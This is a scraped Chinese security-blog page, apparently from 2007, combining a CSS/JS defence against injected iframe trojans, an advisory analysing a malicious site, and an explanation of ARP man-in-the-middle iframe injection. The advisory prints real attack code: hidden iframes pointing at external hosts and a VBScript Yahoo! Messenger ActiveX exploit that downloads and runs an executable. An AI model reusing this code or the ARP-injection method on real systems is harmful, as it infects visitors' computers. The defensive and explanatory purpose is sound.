因为FF(Firefox)不怕IFRAME，于是就拿IE开刀，不知道比尔有没有奖发。我只写了一句代码，就搞定了，哈，痛快。就是IE only（特有的）的CSS中的属性e­xpression，插进去试试，果然那些IFRAME不起作用了。

代码如下：

<style type="text/css" media="all" id="http://safe3.cn">
/*<![CDATA[*/
iframe{
v:e­xpression(this.src='about:blank',this.outerHTML='');/*使用IE Only 的样式会除所有　IFRAME　*/
}
#f126{v:e­xpression() !important} //如果要使自己的IFRAME可以执行，在自己的IFRAME里加上ID="f126"；
/*]]>*/
</style>

分析：
前缀:e­xpression(表达式);

　　这个前缀是可以随意更换的，我上面取名为"v"，例如我可以换成：abc123:e­xpression(this.src='about: blank',this.outerHTML=''); 挂木马的家伙得先看你的CSS里这个前缀,然后挂马的时候写成这样<iframe style="abc123:e­xpression() !important" src="URL" mce_src="URL"></iframe>,那个前缀一定要是和你的网站一样的(abc123)，才能挂到马，哈哈哈！如果把前缀做成动态的，就非常OK了，看你怎么挂！

优点：

可以解决一些站长的烦恼，无须去理会人家插了多少IFRAME木马，那些IFRAME都不起作用；

保护了访客的安全，这些IFRAME不执行，不下载，就不会破坏到访问的电脑；

代码简单，仅一句CSS样式，不管你是ASP,ASP.NET,JSP,PHP还是RUBY，都通用；

缺点：

只适合防御目前的挂IFRAME方案；

使得人家挂马的方式要改变了，挂马者可以构造这样的代码<iframe style="v:e­xpression() !important" src="URL" mce_src="URL"></iframe>使我的防御方式失效，不过挂马都一定得看我的CSS里e­xpression前面的这个"v" 字母，我可以换成任意的如：xgz:e­xpression(...)，哈哈哈，他也拿我没办法，再如，如果我这个前缀是变化的，是不是也行吖 *_*

不能防御其他标记的马，如<script>、<applet>、<object>等。
到那时候再来找我吧，呵呵～ 网页里插入的IFRAME还是存在，只是不起作用了；

再加固防线，加入以下JS代码——其实这个代码可以完全不用：

<script type="text/javascript" language="javascript">
//<![CDATA[
function killfrm()
{
var xgzfrm=document.getElementsByTagName("iframe");
for(var i=0;i<xgzfrm.length;i++)//循环检查所有IFRAME标记，把所有IFRAME的URL都改为空白页，然后删除IFRMAE标记；
{
xgzfrm[i].src='about:blank';
xgzfrm[i].outerHTML='';
}
}
window.onload=killfrm;//一边加载页面，一边执行这个JS方法；
//]]>
</script>

另外转一种解决方案——这种方案不知道管不管用,没试过,方法如下：

在网页最后加入<xmp>,再用css控制它的显示方式，如：xmp {
width:1px;
overflow:hidden;
text-overflow:clip;
white-space: nowrap;
clear: none;
float: none;
line-height: 0px;
display: inline;
}

您可能也对这些文章感兴趣

• 网站挂马已成风潮 病毒利用多个漏洞疯狂传播
• 简单实现iFrame自适应高度
• 47555病毒、arp挂马原理剖析

与以往不同的是，近期病毒作者除了利用以前常用的系统漏洞如：MS06-14漏洞、MS07-017漏洞、MS07-004漏洞进行传播木马之外，还盯上了常用的应用软件漏洞，比如各种IM及时聊天工具漏洞、播放器漏洞、网络电视播放软件漏洞，甚至就连搜索工具条的漏洞也成为病毒作者热衷使用的传播手段。

在此，网络巡警提醒广大用户：

一定要给系统打好补丁，可以使用Windows Update功能给系统即使更新到最新的补丁，尤其是MS060-14漏洞、MS07-017漏洞、MS07-004漏洞等网页木马常用漏洞一定要给系统打上。

也可以用KV2007、KV2008内置的“系统漏洞检查”功能来给自己的操作系统做个体检，该功能可以打上系统所缺少的补丁，减少网页木马入侵的可能。

网站挂马现象还会持续发生，建议广大用户不要登陆来历不明的网站，不要点击不陌生的网址连接，避免感染网页木马病毒。

MSN性感相册”蠕虫病毒可能还会出现新的变种，因此建议广大用户不要随意接收从msn对方好友发来的文件，避免感染msn病毒。

QQ尾巴病毒”可能会有新的欺骗手法，提醒广大用户不要轻易相信对方发送来的文件、中奖邀请、电话点歌、朋友汇款、邀请等欺骗手段，避免带来损失。

病毒作者还有可能利用其它的应用软件漏洞进行传播木马病毒，在此建议广大用户使用最新版本的应用软件，包括各种IM及时聊天工具、下载工具、播放器软件、搜索工具条等，避免木马病毒从这些软件漏洞传播进电脑。

附文《利用Yahoo! Messenger 8.1.0 ActiveX控件GetFile方式任意文件上传漏洞挂马的病毒已经出现》，供参考：

根据检测，近期有一个恶意网址利用最新的Yahoo! Messenger 8.1.0 ActiveX控件的一个漏洞进行传播木马，详细分析如下：

恶意网址 http://cool.47555.com/m.js

页面采用iframe框架挂马法，包含的如下恶意代码，

document.writeln("<iframe style=\'display:none;\' src=http://58.215.76.197/614.htm><\/iframe>");

document.writeln("<iframe style=\'display:none;\' src=http://cool.47555.com/vvv/06014.htm><\/iframe>");

document.writeln("<iframe style=\'display:none;\' src=http://cool.47555.com/vvv/ya.htm><\/iframe>");

document.writeln("<iframe style=\'display:none;\' src=http://cool.47555.com/vvv/1.htm><\/iframe>");

document.writeln("<iframe style=\'display:none;\' src=http://cool.47555.com/vvv/xx.htm><\/iframe>");

1. 其中http://58.215.76.197/614.htm页面和http://cool.47555.com/vvv/06014.htm页面采用US-ASCII算法加密，解密后发现这是一个采用VBScript语言编写的页面，该页面利用MS06-014漏洞下载木马病毒：http://cool.47555.com/vvv/444.exe，这是一个木马代理病毒，KV报病毒名称TrojanDownloader.Agent.pps

2. http://cool.47555.com/vvv/ya.htm 页面利用Yahoo! Messenger 8.1.0 ActiveX控件GetFile方式任意文件上传漏洞挂马，该恶意网址的exploits代码如下：

<pre>

<object classid='clsid:24F3EAD6-8B87-4C1A-97DA-71C126BDA08F' id='test'></object>

<script language='vbscript'>

test.GetFile "http://cool.47555.com/vvv/uu.exe","c:\\uu.exe",5,1,"tiany"

Set WshShell = CreateObject("WScript.Shell")

WshShell.Run"uu.exe"

</script>

</pre>

雅虎通的CYFT ActiveX控件实现上存在漏洞，远程攻击者可能利用此漏洞向用户系统上传任意文件。CYFT ActiveX控件的GetFile()方式没有对用户提交的参数做充分的检查过滤，远程攻击者可以通过提供畸形参数向用户系统的任意位置上传任意文件，然后运行。

该漏洞在milw0rm上的Shellcode代码：http://www.milw0rm.com/exploits/4428

该漏洞的解决方案：

1. 最新版本的Yahoo! Messenger ，官方下载地址：http://cn.messenger.yahoo.com/

2. 注册表中设置killbit ：

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\InternetExplorer\ActiveX Compatibility\{24F3EAD6-8B87-4C1A-97DA-71C126BDA08F}]

"Compatibility Flags"=dword:00000400

3. http://cool.47555.com/vvv/1.htm 页面采用JavaScript 语言编写，并经过八进制转换加密，解秘之后，发现其利用MS06-014漏洞下载病毒文件http://cool.47555.com/vvv/444.exe ，并且执行，这是一个木马代理病毒，KV报病毒名称TrojanDownloader.Agent.pps

4. http://cool.47555.com/vvv/xx.htm页面采用JavaScript 语言编写，该页面利用MS06-014漏洞下载病毒文件http://cool.47555.com/vvv/444.exe ，并且执行，这是一个木马代理病毒，KV报病毒名称TrojanDownloader.Agent.pps

根据近期恶意网页测结果来看，病毒作者除了利用常用系统漏洞MS060-14漏洞、MS07-017漏洞、MS07-004漏洞进行挂马之外，更多的热衷于使用应用软件的漏洞传播木马，由于这些应用软件的用户量极大，因此传播木马的效果也很好，近期较多用的应用软件漏洞如下：

WEB迅雷漏洞

百度搜霸ActiveX控件远程代码执行漏洞

PPStream 堆栈溢出漏洞

暴风影音2 mps.dll组件多个缓冲区溢出漏洞

jetAudio 7.x ActiveX漏洞

迅雷5漏洞

Yahoo! Messenger 8.1.0 ActiveX控件GetFile方式任意文件上传漏洞

请大家立即将以上软件升级到最新版本。

网络巡警

2007-10-09

您可能也对这些文章感兴趣

• 47555病毒、arp挂马原理剖析
• 刘嘉玲被强奸录象.exe 病毒查杀方法
• 如何杜绝iframe挂马
• 强悍的电脑病毒，势单力薄的杀毒软件——发布首个个人电脑安全报告
• ARP病毒反复发作 反病毒专家支六招彻底防范

不管是访问服务器上的任何网页，就连404的页面也会在<html>后加入：
<IFRAME SRC=http://cool.47555.com/k.htm width =1 height=1 frameborder=0></IFRAME>;,挂马的位置在html标记左右,上面这段恶意代码，它会 每隔几秒加入代码，也就是说在输出具体的东西之前就被挂了，有时有有时又没有，不是网页源代码问题，也没有在网页源代码中加入恶意代码，即使重装服务器， 格式化重分区过第一个硬盘，放上去网站没多久一样再会出现这种情况.

首先就排除了网站被入侵的可能,因为首页能加在那个位置只能是 title的地方,用js控制也不大可能.然后去看了php.ini的设置也没有任何的异常,而且这个插入的代码有的时候出现有的时候不出现,说明不是网 站的问题了.打开同服务器的其他网站也有这个情况发生,而且状况一一样.检查并且搜索挂马的关键字之后确定不是网站程序的问题.

那么 剩下的要么是IIS自己出了问题,要么是网络的问题,因为数据是处理没有问题(这个由程序输出,而且即使是html都会出问题),经过一个一个排查,最后 基本可以确定就是arp欺骗欺骗数据报走向,然后中间人修改一些定义的关键字.因为是网络层次有问题(所以重做系统是没有用的).

目的：通过arp欺骗来直接挂马

优点:可以直接通过arp欺骗来挂马.
通常的arp欺骗的攻击方式是在同一vlan下,控制一台主机来监听密码,或者结合ssh中间人攻击来监听ssh1的密码
但这样存在局限性:1.管理员经常不登陆,那么要很久才能监听到密码
2.目标主机只开放了80端口,和一个管理端口,且80上只有静态页面,那么很难利用.而管理端口,如果是3389终端,或者是ssh2,那么非常难监听到密码.

优点:1.可以不用获得目标主机的权限就可以直接在上面挂马
2.非常隐蔽,不改动任何目标主机的页面或者是配置,在网络传输的过程中间直接插入挂马的语句.
3.可以最大化的利用arp欺骗,从而只要获取一台同一vlan下主机的控制权,就可以最大化战果.

原理：arp中间人攻击，实际上相当于做了一次代理。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机
arp中间人攻击时候: A---->C---->B
B---->C---->A
实际上,C在这里做了一次代理的作用

那 么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是 正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

下载的Anti ARP Sniffer V3.6 免费版
*Anti ARP Sniffer V3.6是一款免费的软件,适合于个人用来监测是否存在ARP欺骗,即使整个局域网部署Anti ARP Sniffer 也不能彻底解决ARP攻击问题,请使用彩影网盾保护整个网络。
能查出此服务器区中，另一台有问题的MAC地址，告诉了网管，后来网管把这台服务器网线给剪了。

什么是ARP？

英文原义：Address Resolution Protocol
中文释义：（RFC-826）地址解析协议

局域网中，网络中实际传输的是“帧”，帧里面是有目标主机的MAC地址的。所谓“地址解析”就是主机在发送帧前将目标IP地址转换成目标MAC地址的过程。ARP协议的基本功能就是通过目标设备的IP地址，查询目标设备的MAC地址以保证通信的顺利进行。

注 解：简单地说，ARP协议主要负责将局域网中的32为IP地址转换为对应的48位物理地址，即网卡的MAC地址，比如IP地址为192.168.0.1网 卡MAC地址为00-03-0F-FD-1D-2B。整个转换过程是一台主机先向目标主机发送包含IP地址信息的广播数据包，即ARP请求，然后目标主机 向该主机发送一个含有IP地址和MAC地址数据包，通过MAC地址两个主机就可以实现数据传输了。

应用：在安装了以太网网络适配器 的计算机中都有专门的ARP缓存，包含一个或多个表，用于保存IP地址以及经过解析的MAC地址。在Windows中要查看或者修改ARP缓存中的信息， 可以使用arp命令来完成，比如在Windows XP的命令提示符窗口中键入“arp -a”或“arp -g”可以查看ARP缓存中的内容；键入 “arp -d IPaddress”表示删除指定的IP地址项（IPaddress表示IP地址）。arp命令的其他用法可以键入“arp /?”查看 到。

正常时候: A---->B ,A是访问的正常客户,B是要攻击的服务器,C是被我们控制的主机
arp中间人攻击时候: A---->C---->B
B---->C---->A
实际上,C在这里做了一次代理的作用

那么HTTP请求发过来的时候,C判断下是哪个客户端发过来的包,转发给B,然后B返回HTTP响应的时候,在HTTP响应包中,插入一段挂马的代码,比如 <iframe>...之类,再将修改过的包返回的正常的客户A,就起到了一个挂马的作用.在这个过程中,B是没有任何感觉的,直接攻击的是正常的客户A,如果A是管理员或者是目标单位,就直接挂上马了.

您可能也对这些文章感兴趣

• 网站挂马已成风潮 病毒利用多个漏洞疯狂传播
• ARP病毒反复发作 反病毒专家支六招彻底防范
• 今天被arp病毒折磨死
• 刘嘉玲被强奸录象.exe 病毒查杀方法
• 如何杜绝iframe挂马